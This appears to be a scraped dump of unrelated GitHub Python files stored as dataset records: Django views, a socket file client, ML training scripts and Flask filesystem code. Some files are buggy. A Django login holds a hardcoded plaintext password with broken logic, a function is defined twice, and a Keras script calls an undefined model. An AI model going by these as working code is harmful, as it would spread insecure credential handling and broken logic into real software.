1)\n return lis_dp(lis, case)\n\n\nfor i, case in enumerate(data):\n print(\"#%s\" % (i + 1), sol(case))\n","repo_name":"KhelKim/SWExpertAcademy","sub_path":"ProgrammingAdvanced/04ApplicationOfDynamicProgramming/04SortedPowerset.py","file_name":"04SortedPowerset.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"29708815764","text":"from pyexpat.errors import messages\r\nfrom django.shortcuts import render,redirect\r\nfrom .models import *\r\nfrom django import forms\r\nfrom .forms import ProductoForm, UserForm\r\n# Create your views here.\r\n\r\ndef home(request):\r\n \r\n return render(request, 'core/index.html')\r\n\r\ndef login(request):\r\n datos = {\r\n 'form' : UserForm()\r\n }\r\n if request.method=='POST':\r\n try:\r\n detalleUsuario=nuevoUsuario.objects.get(nombreUsuario=request.POST['usuario']=='BRYAN', password=request.POST['password'])=='bryxd596'\r\n print(\"usuario =\", detalleUsuario)\r\n request.session['nombreUsuario']=detalleUsuario.nombreUsuario\r\n return render(request, 'core/listar.html')\r\n except nuevoUsuario.DoesNotExist as e:\r\n datos['mensaje'] = \"nombre de usuario o contraseña no valido\"\r\n\r\n\r\n\r\n elif request.method=='POST':\r\n try:\r\n detalleUsuario=nuevoUsuario.objects.get(nombreUsuario=request.POST['usuario'], password=request.POST['password'])\r\n print(\"usuario =\", detalleUsuario)\r\n request.session['nombreUsuario']=detalleUsuario.nombreUsuario\r\n return render(request, 'core/indexuser.html')\r\n except nuevoUsuario.DoesNotExist as e:\r\n datos['mensaje'] = \"nombre de usuario o contraseña no valido\"\r\n return render(request, 'core/login.html')\r\n\r\ndef contacto(request):\r\n \r\n return render(request, 'core/contacto.html')\r\n\r\ndef infoPublica(request):\r\n \r\n return render(request, 'core/infoPublica.html')\r\n\r\ndef seguimiento(request):\r\n \r\n return render(request, 'core/seguimiento.html')\r\n\r\ndef Producto1(request):\r\n productos = Producto.objects.all()\r\n datos = {\r\n 'productos' : productos\r\n }\r\n \r\n return render(request, 'core/producto1.html',datos)\r\n\r\n\r\ndef Productos(request):\r\n \r\n return render(request, 'core/Productos.html')\r\n\r\ndef registrar(request):\r\n \r\n return render(request, 'core/registrar.html')\r\n\r\ndef listar(request):\r\n productos = Producto.objects.all()\r\n datos = {\r\n 'productos' : productos\r\n }\r\n \r\n return render(request, 'core/adm_listar.html',datos)\r\n\r\n\r\ndef agregar(request):\r\n datos = {\r\n 'form' : ProductoForm()\r\n }\r\n print(\"bandera1\")\r\n if request.method == 'POST':\r\n formulario = ProductoForm(request.POST, request.FILES)\r\n print(request.POST)\r\n print(\"bandera2\") \r\n if formulario.is_valid():\r\n formulario.save()\r\n datos['mensaje'] = \"Guardados correctamente\"\r\n print(\"bandera3\")\r\n return render(request, 'core/adm_agregar.html', datos)\r\n\r\ndef eliminar(request, id):\r\n producto = Producto.objects.get(idProducto=id)\r\n producto.delete()\r\n return redirect(to=\"listar\")\r\n\r\ndef modificar(request):\r\n producto = Producto.objects.get(idProducto=id)\r\n formulario = ProductoForm(request.POST or None, request.FILES or None, instance=producto)\r\n return render(request, 'core/adm_modoficar.html',{'formulario': formulario})\r\n\r\n\r\n\r\ndef modificar(request,id):\r\n print(\"bandera1\") \r\n productos = Producto.objects.get(idProducto=id)\r\n datos = {\r\n 'form' : ProductoForm(instance=productos)\r\n }\r\n print(\"bandera2\") \r\n if request.method == 'POST':\r\n formulario = ProductoForm(request.POST, request.FILES, instance=productos)\r\n print(\"bandera3\") \r\n if formulario.is_valid():\r\n formulario.save()\r\n datos['mensaje'] = \"Guardados correctamente\"\r\n\r\n return render(request, 'core/adm_modificar.html',datos)\r\n","repo_name":"BryanAlexisT/Proyecto-TAV-entrega-3-y-4","sub_path":"ProyectoTAV_3y4/TestDjango/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12072643080","text":"import socket, os, sys\n\nprint(\"Provide Server IP: \", end=\"\")\nHOST = input()\nprint(\"Provide Port#: \", end=\"\")\nPORT = int(input())\n\n#Look for and establish connection to server\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect((HOST, PORT))\nprint(\"You are now connected! Enter your commands now.\")\n#Prompt user\nprint(\"RFTCli>\", end = \" \")\nclientRequest = input()\n#Turn request into bytes and send request to server\nmessage = bytes(clientRequest, 'utf-8')\nclientRequestSeg = clientRequest.split(\" \")\nclient.sendall(message)\n#If client requests a CLOSE then client should exit\nif clientRequest == \"CLOSE\": sys.exit()\n#Begin the file transfer, i.e. create the file to have data placed into.\nreturnFilePath = f'{os.getcwd()}\\FileStorage\\copy_{clientRequestSeg[1]}'\nfile = open(returnFilePath, 'wb')\n#Start transfering packets\nwhile True:\n #Get packets\n data = client.recv(1024)\n #Edge case, if command failed or file is divisible by 1000 bytes then stop file transfer\n if data == b'!': break\n print(len(data))\n file.write(data)\n #Once a non 1000 byte packet is recieved then stop the transfer. \n if len(data) != 1000:\n break\n#File transfer is completed.\nfile.close()\nprint(f'Recieved {clientRequestSeg[1]}')\n","repo_name":"ForgeOfJS/Networks","sub_path":"Client/rft1Client.py","file_name":"rft1Client.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40690019777","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nTemplating functionality.\n\"\"\"\n\nfrom pathlib import Path\n\nimport jinja2\n\n\"\"\"\nJinja2 environment configuration for LaTeX templates.\n\"\"\"\nJINJA_ENVIRONMENT_LATEX = jinja2.Environment(\n block_start_string=\"\\\\BLOCK{\",\n block_end_string=\"}\",\n variable_start_string=\"\\\\VAR{\",\n variable_end_string=\"}\",\n comment_start_string=\"\\\\#{\",\n comment_end_string=\"\\\\#{\",\n line_statement_prefix=\"%%\",\n line_comment_prefix=\"%#\",\n trim_blocks=True,\n lstrip_blocks=True,\n autoescape=False,\n loader=jinja2.FileSystemLoader(str(Path.cwd() / \"..\" / \"templates\")),\n)\n\n\ndef apply_latex_template(template_file, variables, output_file=None):\n \"\"\"\n Apply the data for the given LaTeX template file and write the output to the given\n file if needed.\n\n :param template_file: The name of the template file to use.\n :type template_file: str\n\n :param variables: The variables to put into the template.\n :type variables: dict[str, object]\n\n :param output_file: The file to write the rendered data to. If this is is\n :code:`None`, no output will be written.\n :type output_file: str or None\n\n :return: The rendered result (LaTeX source code).\n :rtype: str\n \"\"\"\n # Retrieve the template.\n template = JINJA_ENVIRONMENT_LATEX.get_template(template_file)\n\n # Render the template.\n result = template.render(variables)\n\n # Write the output to the given file (if requested) and return the result.\n if output_file:\n with open(output_file, encoding=\"utf8\", mode=\"w\") as outfile:\n outfile.write(result)\n return result\n","repo_name":"FriedrichFroebel/opencaching-de_statistics","sub_path":"cache_types_pie_chart/templating.py","file_name":"templating.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8772763587","text":"import asyncio\r\n\r\n\r\n@asyncio.coroutine\r\ndef take_order(menu_item):\r\n \"\"\"\r\n Coroutine untuk mengambil pesanan dari pelanggan.\r\n \"\"\"\r\n print(f\"Taking order for {menu_item}...\")\r\n yield from asyncio.sleep(2) # simulasi waktu untuk mengambil pesanan\r\n print(f\"Order for {menu_item} taken.\")\r\n\r\n\r\n@asyncio.coroutine\r\ndef prepare_food(menu_item):\r\n \"\"\"\r\n Coroutine untuk mempersiapkan makanan yang dipesan.\r\n \"\"\"\r\n print(f\"Preparing {menu_item}...\")\r\n yield from asyncio.sleep(5) # simulasi waktu untuk mempersiapkan makanan\r\n print(f\"{menu_item} prepared.\")\r\n\r\n\r\n@asyncio.coroutine\r\ndef serve_food(table_number, menu_item):\r\n \"\"\"\r\n Coroutine untuk menyajikan makanan ke pelanggan.\r\n \"\"\"\r\n print(f\"Serving {menu_item} to table {table_number}...\")\r\n yield from asyncio.sleep(3) # simulasi waktu untuk menyajikan makanan\r\n print(f\"{menu_item} served to table {table_number}.\")\r\n\r\n\r\nif __name__ == '__main__':\r\n # Membuat event loop\r\n loop = asyncio.get_event_loop()\r\n\r\n # Menjalankan coroutine secara bersamaan\r\n tasks = [\r\n take_order('Pasta'),\r\n prepare_food('Pasta'),\r\n serve_food(1, 'Pasta'),\r\n take_order('Steak'),\r\n prepare_food('Steak'),\r\n serve_food(2, 'Steak'),\r\n ]\r\n loop.run_until_complete(asyncio.wait(tasks))\r\n\r\n # Menutup event loop\r\n loop.close()\r\n","repo_name":"kerjabhakti/SISTER_3A","sub_path":"Chapter05/1204013_fauziah henni/asyncio_and_futures.py","file_name":"asyncio_and_futures.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3578769017","text":"import http\n\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nimport logging\nimport hexbytes\nimport SimpleBankApp.resources.core as core\nimport SimpleBankApp.resources.accounts as accounts\nimport SimpleBankApp.resources.appConfig as appConfig\nimport SimpleBankApp.resources.utilities as utilities\nfrom decimal import *\nfrom django.http import JsonResponse\nfrom django.http import HttpResponseServerError\nfrom django.http import HttpResponse\n# Create your views here.\nlogger = logging.getLogger(__name__)\n\n\ndef home(req):\n resp = \"\"\n if req.method == 'GET':\n try:\n user_accts = accounts.get_all_accounts()\n params = {\"accounts\": user_accts, \"contract_address\": appConfig.contract_address,\n \"contract_balance\": core.get_ether_balance(appConfig.contract_address)}\n resp = render(request=req, template_name='index.html', context=params)\n except Exception as ex:\n resp = JsonResponse({'error': str(ex)}, status=500)\n return resp\n\n\ndef deposit(req):\n resp = \"\"\n if req.method == 'POST':\n try:\n deposit_from_addr_index = int(req.POST.get('deposit_from_addr', ''))\n deposit_qty = Decimal(req.POST.get('deposit_qty', ''))\n tx_receipt, events = core.deposit(deposit_from_addr_index, deposit_qty)\n params = {\"txReceipt\": dict(tx_receipt), \"events\": list(events)}\n params = utilities.dict_to_json_serializable(params)\n resp = JsonResponse(params)\n except Exception as ex:\n resp = JsonResponse({'error': str(ex)}, status=500)\n return resp\n\n\ndef grant_allowance(req):\n resp = \"\"\n if req.method == 'POST':\n try:\n grant_from_addr_index = int(req.POST.get('grant_from_addr', ''))\n grant_to_addr_index = int(req.POST.get('grant_to_addr', ''))\n grant_qty = Decimal(req.POST.get('grant_qty', ''))\n tx_receipt, events = core.grant_allowance(grant_from_addr_index, grant_to_addr_index, grant_qty)\n params = {\"txReceipt\": dict(tx_receipt), \"events\": list(events)}\n params = utilities.dict_to_json_serializable(params)\n resp = JsonResponse(params)\n except Exception as ex:\n resp = JsonResponse({'error': str(ex)}, status=500)\n return resp\n\n\ndef withdraw(req):\n resp = \"\"\n if req.method == 'POST':\n try:\n withdraw_addr_index = int(req.POST.get('withdraw_addr', ''))\n withdraw_qty = Decimal(req.POST.get('withdraw_qty', ''))\n tx_receipt, events = core.withdraw(withdraw_addr_index, withdraw_qty)\n params = {\"txReceipt\": dict(tx_receipt), \"events\": list(events)}\n params = utilities.dict_to_json_serializable(params)\n resp = JsonResponse(params)\n except Exception as ex:\n resp = JsonResponse({'error': str(ex)}, status=500)\n return resp\n\n\ndef get_allowance(req):\n resp = \"\"\n if req.method == 'POST':\n try:\n user_addr_index = int(req.POST.get('user_addr', ''))\n allowance = core.get_allowance(user_addr_index)\n params = {\"allowance\": allowance}\n resp = JsonResponse(params)\n except Exception as ex:\n resp = JsonResponse({'error': str(ex)}, status=500)\n return resp\n\n\ndef get_balance(req):\n resp = \"\"\n if req.method == 'POST':\n try:\n user_acct_index = int(req.POST.get('from_addr', ''))\n user_acct = accounts.import_account_from_config(user_acct_index)\n balance = core.get_ether_balance(user_acct['address'])\n params = {\"balance\": balance}\n params = utilities.dict_to_json_serializable(params)\n resp = JsonResponse(params)\n except Exception as ex:\n resp = JsonResponse({'error': str(ex)}, status=500)\n return resp\n\n\ndef get_contract_balance(req):\n resp = \"\"\n if req.method == 'GET':\n try:\n balance = core.get_ether_balance(appConfig.contract_address)\n params = {\"balance\": balance}\n params = utilities.dict_to_json_serializable(params)\n resp = JsonResponse(params)\n except Exception as ex:\n resp = JsonResponse({'error': str(ex)}, status=500)\n return resp\n","repo_name":"srips1990/piggybank","sub_path":"apps/djangoApp/simplebank/SimpleBankApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24950735774","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSorting data above 20 mm of rain\n\n@author: Eran Biran\n\"\"\"\nimport pandas as pd\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 5,4\n\ndf = pd.read_csv('C:/Users/ERANA/Desktop/Daily_clean.csv')\n\n#focusing on high amount of rainfall, create a new dataset with over 25mm of rain.\nTotal_Precip = df['Total_Precip_mm']\noutliers = (Total_Precip > 20)\ndf[outliers].to_csv('C:/Users/ERANA/Desktop/Outliers_data.csv', index = False)","repo_name":"ebiran/CKME136","sub_path":"outliers.py","file_name":"outliers.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21947899392","text":"\"\"\"CP1404/CP5632 Practical - UnreliableCar class.\"\"\"\n\nfrom prac_08.car import Car\nfrom random import randint\n\n\nclass UnreliableCar(Car):\n \"\"\"Specialised version of a Car that includes reliability.\"\"\"\n\n def __init__(self, name, fuel, reliability):\n \"\"\"\"\"Initialise a UnreliableCar instance, based on parent class Car.\"\"\"\"\"\n super().__init__(name, fuel)\n self.reliability = reliability\n\n def drive(self, distance):\n \"\"\"Drive the car if number is less than the car's reliability.\"\"\"\n random_number = randint(1, 100)\n if random_number >= self.reliability:\n distance = 0\n distance_driven = super().drive(distance)\n return distance_driven\n","repo_name":"WeiChihLin07/CP1404Practicals","sub_path":"prac_08/unreliable_car.py","file_name":"unreliable_car.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24749900379","text":"import pandas as pd\r\nimport numpy as np\r\nimport csv\r\nimport scipy\r\nfrom sklearn import preprocessing\r\nfrom keras.models import Sequential\r\nfrom keras.layers.core import Dense, Dropout, Activation\r\nfrom keras.optimizers import SGD, Adam, RMSprop\r\nfrom keras.wrappers.scikit_learn import KerasRegressor\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn.model_selection import train_test_split\r\n\r\ndata_f1 = pd.read_csv('data/combine_data_all_b.txt', sep=\"\\t\", header = None)\r\ndata_f1.columns=['pid','uid','p_postDate','p_commentCount',\r\n'p_hasPeople','p_titleLen','p_desLen',\r\n'p_tagCount','u_avgView','u_groupCount',\r\n'u_avgMemberCount','p_Score','uidFull','pidFull']\r\ndata_f1.drop(['p_tagCount', 'p_hasPeople', 'p_postDate', 'p_commentCount'], axis=1, inplace=True)\r\n\r\n\r\ndata_f2 = pd.read_csv('data/follower&contact.csv', sep=\",\", header = 0)\r\ndata_f2.columns=['uidFull','u_follower','u_contact']\r\n\r\n\r\n\r\ndata_f3 = pd.read_csv('data/Output.csv', sep=\",\", header = 0)\r\ndata_f3.columns=['uidFull','pidFull','p_commentCount','p_viewCount',\r\n'p_tagCount','p_postDate','p_hasPeople',\r\n'p_groupCount','p_favoriteCount','u_photoCount',\r\n'p_avgMemberCount','p_avgPhotoCount']\r\n\r\n\r\ndata_f4=pd.merge(data_f1, data_f2, on='uidFull')\r\ndata_f5=pd.merge(data_f4, data_f3, on=['uidFull','pidFull'])\r\n\r\n\r\n#data_f5 = pd.read_csv('final0606.csv', sep=\",\", header = 0)\r\n#data_f5.drop(['Unnamed: 0'], axis=1, inplace=True)\r\ncols=data_f5.columns.tolist()\r\n\r\n\"\"\"\r\nfeatures_cols=['p_titleLen', 'p_desLen',\r\n'u_avgView', 'u_groupCount', 'u_avgMemberCount','u_follower',\r\n'u_contact', 'p_commentCount','p_viewCount', 'p_tagCount',\r\n'p_groupCount', 'p_favoriteCount','u_photoCount',\r\n'p_avgMemberCount', 'p_avgPhotoCount']\r\n\"\"\"\r\n\r\nfeatures_cols=['p_titleLen', 'p_desLen',\r\n'u_avgView', 'u_groupCount', 'u_avgMemberCount','u_follower',\r\n'p_commentCount','p_viewCount', 'p_tagCount',\r\n'p_groupCount', 'p_favoriteCount']\r\n\r\n\r\nX =np.array(data_f5[features_cols].values,float)\r\ny =np.array(data_f5['p_Score'].values,float)\r\nnor = X.max(axis=0)\r\nX = X/X.max(axis=0)\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=42)\r\n\r\ndef baseline_model():\r\n # create model\r\n model = Sequential()\r\n model.add(Dense(120, input_dim = 11, init=\"normal\", activation='relu'))\r\n model.add(Dense(120, init=\"normal\", activation='relu'))\r\n model.add(Dense(1, init=\"normal\"))\r\n sgd = SGD(lr=0.01, decay=1e-6, momentum=0.0, nesterov=True)\r\n # Compile model\r\n model.compile(loss='mse', optimizer='adam')\r\n return model\r\n\r\n\r\n\r\n\r\nmodel.fit(X, y, nb_epoch=200, batch_size=20, validation_split=0.1, verbose=0, shuffle=True)\r\n\r\n\r\nseed = 7\r\nnp.random.seed(seed)\r\n# evaluate model with standardized dataset\r\nestimator = KerasRegressor(build_fn=baseline_model, nb_epoch=200, batch_size=20,validation_split=0.1, verbose=1, shuffle=True)\r\n\r\n\r\nkfold = KFold(n_splits=10, random_state=seed)\r\nresults = cross_val_score(estimator, X, y, cv=kfold)\r\nprint(\"Results: %.2f (%.2f) MSE\" % (results.mean(), results.std()))\r\n","repo_name":"wmhou71/Prediction-of-Flickr-Image-Popularity","sub_path":"NN.py","file_name":"NN.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9065887570","text":"\"\"\"Train a MindSpore Model in ModelArts.\"\"\"\nimport argparse\nimport numpy as np\nimport os\nimport moxing as mox\n\nfrom mindspore import context, nn, set_seed, Model\nfrom mindspore.nn.learning_rate_schedule import CosineDecayLR\nfrom ssvos.datasets.utils import DataLoader\nfrom ssvos.utils.callbacks import (ConsoleLoggerCallBack,\n MindSightLoggerCallback, MyModelCheckpoint)\nfrom ssvos.utils.dist_utils import init_dist\nfrom ssvos.utils.lr_schedule import CosineDecayLRWithWarmup\nfrom ssvos.datasets import RawFrameDataset\nfrom ssvos.models.BYOL import BYOL\nfrom ssvos.models.backbones import VideoTransformerNetwork\nfrom ssvos.utils.module_utils import NetWithSymmetricLoss\nfrom ssvos.utils.loss_utils import CosineSimilarityLoss\nfrom ssvos.utils.log_utils import master_only_info, set_logger_level_to\n\n\ndef add_args():\n parser = argparse.ArgumentParser(\n description=\"MindSpore ModelArts train script\")\n # dataset\n parser.add_argument('--data_url', type=str,\n required=True, help='dataset root path in obs')\n parser.add_argument('--ann_file', type=str, default='ytvos_2018_raw_frames.txt',\n help='path wrt to data_url to annotation file')\n parser.add_argument('--num_frames', type=int, default=8, help='how many frames in a clip.')\n # work dir and log args\n parser.add_argument('--train_url', type=str, required=True, help='work dir in which stores\\\n logs and ckpts, physically in obs')\n parser.add_argument('--log_interval', type=int, default=1,\n help='How often to print log infos')\n parser.add_argument('--save_interval', type=int,\n default=5, help='How often to save ckpts')\n # training args and hyper params\n parser.add_argument('--batch_size', type=int, default=16,\n help='batch_size.')\n parser.add_argument('--num_workers', type=int, default=8,\n help='num workers to load dataset.')\n parser.add_argument('--epoch_size', type=int, default=100, help='epoch size for training, \\\n default is 100.')\n parser.add_argument('--optimizer', type=str, default='Momentum', help='Optimizer, Currently only\\\n Momentum is supported.')\n parser.add_argument('--base_lr', type=float,\n default=0.2, help='base learning rate.')\n parser.add_argument('--lr_schedule', type=str,\n default='cosine', help='Learning rate decay schedule')\n parser.add_argument('--weight_decay', type=float,\n default=1e-4, help='weight decay')\n parser.add_argument('--warmup_epochs', type=int,\n default=10, help='warmup epochs.')\n\n return parser.parse_args()\n\n\ndef main():\n NUM_HOSTS = 3\n MODELARTS_DATA_DIR = '/cache/dataset'\n MODELARTS_WORK_DIR = '/cache/output'\n args = add_args()\n set_logger_level_to()\n # set a global seed\n np.random.seed(2563)\n set_seed(2563)\n # set to graph mode\n context.set_context(mode=context.PYNATIVE_MODE, device_target=\"Ascend\")\n # init dist\n rank, group_size = init_dist()\n\n MODELARTS_DATA_DIR = os.path.join(MODELARTS_DATA_DIR, f'_{rank}')\n MODELARTS_WORK_DIR = os.path.join(MODELARTS_WORK_DIR, f'_{rank}')\n os.makedirs(MODELARTS_WORK_DIR, exist_ok=True)\n ## init your train dataloader here\n # download dataset from obs to cache if train on ModelArts\n master_only_info('[INFO] Copying dataset from obs to ModelArts...', rank=rank)\n mox.file.copy_parallel(src_url=args.data_url, dst_url=MODELARTS_DATA_DIR)\n master_only_info('[INFO] Done. Start training...', rank=rank)\n train_dataset = RawFrameDataset(MODELARTS_DATA_DIR, args.ann_file, args.num_frames)\n train_dataloader = DataLoader(train_dataset, args.batch_size, args.num_workers,\n shuffle=True, drop_last=True, distributed=True)\n train_dataloader = train_dataloader.build_dataloader()\n master_only_info(\"[INFO] Dataset loaded!\", rank=rank)\n\n # init your model here\n vtn = VideoTransformerNetwork(seqlength=args.num_frames)\n byol = BYOL(encoder=vtn)\n criterion = CosineSimilarityLoss()\n model = NetWithSymmetricLoss(byol, criterion)\n master_only_info(\"[INFO] Model initialized!\", rank=rank)\n # init your lr scheduler here\n dataset_size = train_dataloader.get_dataset_size()\n lr = args.base_lr * group_size * args.batch_size / 256.\n lr_scheduler = CosineDecayLRWithWarmup(lr, min_lr=1e-5, total_steps=args.epoch_size*dataset_size*NUM_HOSTS,\n warmup_steps=args.warmup_epochs*dataset_size*NUM_HOSTS)\n # lr_scheduler = CosineDecayLR(min_lr=1e-5, max_lr=lr, decay_steps=args.epoch_size*dataset_size)\n # init your optimizer here\n optimizer = nn.Momentum(model.trainable_params(), lr_scheduler, momentum=0.9,\n weight_decay=args.weight_decay)\n # init train net\n train_net = nn.TrainOneStepCell(model, optimizer)\n model = Model(train_net)\n\n # init callbacks\n ckpt_dir = os.path.join(MODELARTS_WORK_DIR, 'ckpts')\n ckpt_cb = MyModelCheckpoint(ckpt_dir, interval=args.save_interval, rank=rank)\n log_dir = os.path.join(MODELARTS_WORK_DIR, 'logs')\n mindsight_cb = MindSightLoggerCallback(\n log_dir, log_interval=args.log_interval, rank=rank)\n console_log_cb = ConsoleLoggerCallBack(log_interval=args.log_interval, rank=rank)\n callbacks = [console_log_cb, mindsight_cb, ckpt_cb]\n # you can define a validation callback to validate\n\n # train network\n master_only_info(\"[INFO] Start training...\", rank=rank)\n model.train(args.epoch_size, train_dataloader, callbacks=callbacks)\n master_only_info(\"[INFO] TRAINING DONE!\", rank=rank)\n\n # upload ckpts and logs from ModelArts to obs\n master_only_info(\"[INFO] Copying workdir contents from ModelArts to OBS...\", rank=rank)\n mox.file.copy_parallel(\n src_url=MODELARTS_WORK_DIR, dst_url=args.train_url)\n master_only_info(\"[INFO] Done.\", rank=rank)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wuyongfa-genius/SSVOS_mindspore","sub_path":"train_modelarts.py","file_name":"train_modelarts.py","file_ext":"py","file_size_in_byte":6138,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"39657917950","text":"import hashlib\nimport io\nimport itertools\nimport json\nimport re\nimport typing\nimport urllib.request\nimport zipfile\nfrom collections import defaultdict\nfrom datetime import datetime, timedelta\nfrom deepdiff import DeepDiff\nfrom flask import Blueprint, current_app, g, jsonify, make_response, request\nfrom flask.views import MethodView\nfrom marshmallow import ValidationError\nfrom sqlalchemy import and_, desc, or_, not_\nfrom sqlalchemy.dialects.postgresql import insert\nfrom sqlalchemy.exc import IntegrityError, SQLAlchemyError\nfrom sqlalchemy.orm import raiseload, joinedload, lazyload, aliased, contains_eager\nfrom typing import Optional, List, Dict, Iterable, Union, Literal, Tuple\nfrom sqlalchemy.sql.expression import text\nfrom webargs.flaskparser import use_args\n\nfrom neo4japp.constants import SUPPORTED_MAP_MERGING_FORMATS, MAPS_RE, FILE_MIME_TYPE_MAP\nfrom neo4japp.blueprints.auth import auth\nfrom neo4japp.constants import LogEventType\nfrom neo4japp.database import db, get_file_type_service, get_authorization_service\nfrom neo4japp.exceptions import AccessRequestRequiredError, RecordNotFound, NotAuthorized\nfrom neo4japp.models import (\n Projects,\n Files,\n FileContent,\n AppUser,\n FileVersion,\n FileBackup\n)\nfrom neo4japp.models.files import FileLock, FileAnnotationsVersion, MapLinks\nfrom neo4japp.models.files_queries import (\n add_file_user_role_columns,\n build_file_hierarchy_query,\n FileHierarchy,\n)\nfrom neo4japp.models.projects_queries import add_project_user_role_columns\nfrom neo4japp.schemas.annotations import FileAnnotationHistoryResponseSchema\nfrom neo4japp.schemas.common import PaginatedRequestSchema\nfrom neo4japp.schemas.filesystem import (\n BulkFileRequestSchema,\n BulkFileUpdateRequestSchema,\n FileBackupCreateRequestSchema,\n FileCreateRequestSchema,\n FileExportRequestSchema,\n FileHierarchyRequestSchema,\n FileHierarchyResponseSchema,\n FileListSchema,\n FileLockCreateRequest,\n FileLockDeleteRequest,\n FileLockListResponse,\n FileResponseSchema,\n FileSearchRequestSchema,\n FileUpdateRequestSchema,\n FileVersionHistorySchema,\n MultipleFileResponseSchema\n)\nfrom neo4japp.services.file_types.exports import ExportFormatError\nfrom neo4japp.services.file_types.providers import DirectoryTypeProvider\nfrom neo4japp.utils.collections import window\nfrom neo4japp.utils.http import make_cacheable_file_response\nfrom neo4japp.utils.network import read_url\nfrom neo4japp.utils.logger import UserEventLog\nfrom neo4japp.services.file_types.providers import BiocTypeProvider\nimport os\n\nbp = Blueprint('filesystem', __name__, url_prefix='/filesystem')\n\n\n# When working with files, remember that:\n# - They may be recycled\n# - They may be deleted\n# - The project that the files are in may be recycled\n\n\n# TODO: Deprecate me after LL-3006\n@bp.route('/enrichment-tables', methods=['GET'])\n@auth.login_required\ndef get_all_enrichment_tables():\n is_admin = g.current_user.has_role('admin')\n if is_admin is False:\n raise NotAuthorized(message='You do not have sufficient privileges.', code=400)\n\n query = db.session.query(Files.hash_id).filter(\n Files.mime_type == 'vnd.lifelike.document/enrichment-table')\n results = [hash_id[0] for hash_id in query.all()]\n return jsonify(dict(result=results)), 200\n\n\nclass FilesystemBaseView(MethodView):\n \"\"\"\n Base view for filesystem endpoints with reusable methods for getting files\n from hash IDs, checking permissions, and validating input.\n \"\"\"\n\n file_max_size = 1024 * 1024 * 300\n url_fetch_timeout = 10\n url_fetch_user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ' \\\n '(KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Lifelike'\n\n def get_nondeleted_recycled_file(\n self, filter, lazy_load_content=False, attr_excl: List[str] = None) -> Files:\n \"\"\"\n Returns a file that is guaranteed to be non-deleted, but may or may not be\n recycled, that matches the provided filter. If you do not want recycled files,\n exclude them with a filter condition.\n\n :param filter: the SQL Alchemy filter\n :param lazy_load_content: whether to load the file's content into memory\n :param attr_excl: list of file attributes to exclude from the query\n :return: a non-null file\n \"\"\"\n files = self.get_nondeleted_recycled_files(filter, lazy_load_content, attr_excl=attr_excl)\n if not len(files):\n raise RecordNotFound(\n title='File Not Found',\n message='The requested file object could not be found.',\n code=404)\n return files[0]\n\n def get_nondeleted_recycled_files(\n self,\n filter,\n lazy_load_content=False,\n require_hash_ids: List[str] = None,\n sort: List[str] = [],\n attr_excl: List[str] = None\n ) -> List[Files]:\n \"\"\"\n Returns files that are guaranteed to be non-deleted, but may or may not be\n recycled, that matches the provided filter. If you do not want recycled files,\n exclude them with a filter condition.\n\n :param filter: the SQL Alchemy filter\n :param lazy_load_content: whether to load the file's content into memory\n :param require_hash_ids: a list of file hash IDs that must be in the result\n :param attr_excl: list of file attributes to exclude from the query\n :param sort: str list of file attributes to order by\n :return: the result, which may be an empty list\n \"\"\"\n current_user = g.current_user\n\n t_file = db.aliased(Files, name='_file') # alias required for the FileHierarchy class\n t_project = db.aliased(Projects, name='_project')\n\n # The following code gets a whole file hierarchy, complete with permission\n # information for the current user for the whole hierarchy, all in one go, but the\n # code is unfortunately very complex. However, as long as we can limit the instances of\n # this complex code to only one place in the codebase (right here), while returning\n # just a list of file objects (therefore abstracting all complexity to within\n # this one method), hopefully we manage it. One huge upside is that anything downstream\n # from this method, including the client, has zero complexity to deal with because\n # all the required information is available.\n\n # First, we fetch the requested files, AND the parent folders of these files, AND the\n # project. Note that to figure out the project, as of writing, you have to walk\n # up the hierarchy to the top most folder to figure out the associated project, which\n # the following generated query does. In the future, we MAY want to cache the project of\n # a file on every file row to make a lot of queries a lot simpler.\n query = build_file_hierarchy_query(and_(\n filter,\n Files.deletion_date.is_(None)\n ), t_project, t_file, file_attr_excl=attr_excl) \\\n .options(raiseload('*'),\n joinedload(t_file.user),\n joinedload(t_file.fallback_organism)) \\\n .order_by(*[text(f'_file.{col}') for col in sort])\n\n # Add extra boolean columns to the result indicating various permissions (read, write,\n # etc.) for the current user, which then can be read later by FileHierarchy or manually.\n # Note that file permissions are hierarchical (they are based on their parent folder and\n # also the project permissions), so you cannot just check these columns for ONE file to\n # determine a permission -- you also have to read all parent folders and the project!\n # Thankfully, we just loaded all parent folders and the project above, and 